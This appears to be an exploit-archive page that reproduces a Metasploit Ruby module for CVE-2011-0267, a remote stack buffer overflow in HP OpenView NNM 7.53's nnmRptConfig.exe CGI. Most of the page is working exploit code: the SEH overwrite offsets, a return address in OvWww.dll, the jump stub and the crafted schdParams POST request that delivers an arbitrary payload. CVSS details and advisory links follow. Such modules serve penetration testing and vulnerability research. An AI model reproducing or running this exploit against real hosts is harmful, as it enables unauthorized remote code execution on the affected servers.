Exploit: HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow ( Ascii Version )

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HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow

Published
Credit
Risk
2011.03.28
metasploit
High
CWE
CVE
Local
Remote
CWE-119
CVE-2011-0267
No
Yes

Plain text version

CVSS Base Score
Impact Subscore
Exploitability Subscore
10/10
10/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Complete
Complete
Complete

##
# $Id: hp_nnm_nnmrptconfig_schdparams.rb 12121 2011-03-24 00:49:33Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh

def initialize(info={})
super(update_info(info,
'Name' => "HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow",
'Description' => %q{
This module exploits NNM's nnmRptConfig.exe. Similar to other NNM CGI bugs,
the overflow occurs during a ov.sprintf_new() call, which allows an attacker to
overwrite data on the stack, and gain arbitrary code execution.
},
'License' => MSF_LICENSE,
'Version' => "$Revision: 12121 $",
'Author' => ['sinn3r'],
'References' =>
[
['CVE', '2011-0267'],
['OSVDB', '70473'],
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-009/'],
],
'Payload' =>
{
'BadChars' => "\x00\x26\x2b",
},
'DefaultOptions' =>
{
'ExitFunction' => "seh",
'AutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[
'NNM 7.53 - Windows Server 2003 Ent', {
'Ret' => 0x5A30532D, #POP/POP/RET OvWww.dll
'Offset' => 46919, #Offset to SEH chain
'Pops' => 13, #Number of POPADs needed to find a bigger space with our payload
'Payloadoffset' => 57, #Offset to the payload
}],
],
'DisclosureDate' => "Jan 10 2011"))

register_options( [Opt::RPORT(80)], self.class )
end

def exploit
nops = make_nops(1000)*70

sploit = nops[0, target['Offset']]
sploit << generate_seh_record(target.ret)
sploit << "\x61"*target['Pops']
sploit << "\xff\xe1" #JMP ECX
sploit << nops[0, target['Payloadoffset']]
sploit << payload.encoded
sploit << "\x44"*(70000-sploit.length)

data = "Content&Action=Create&"
data << "Template=Avail/CRAvail&"
data << "Operation=Apply&"
data << "Params=schdParams+nameParams&"
data << "schdParams=#{sploit}%7Cmonthtodate&"
data << "nameParams=text1%3DAAAA%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"

connect
send_request_raw({
'uri' => '/OvCgi/nnmRptConfig.exe',
'data' => data,
'version' => '1.1',
'method' => 'POST',
'headers' => {
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language' => 'en-us,en;q=0.5',
'Accept-Encoding' => 'gzip,deflate',
'Accept-Chrarset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Keep-Alive' => '300',
'Connection' => 'Keep-Alive',
'Cache-Control' => 'mag-age=0',
'Content-Length' => data.length,
'Content-Type' => 'application/x-www-form-urlencoded',
}
}, 3)

handler
disconnect
end
end

References:

http://xforce.iss.net/xforce/xfdb/64649
http://www.zerodayinitiative.com/advisories/ZDI-11-009/
http://www.vupen.com/english/advisories/2011/0085
http://www.securitytracker.com/id?1024951
http://www.securityfocus.com/bid/45762
http://www.securityfocus.com/archive/1/515628
http://www.securityfocus.com/archive/1/515628

See this note in TXT Version

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Ascii Version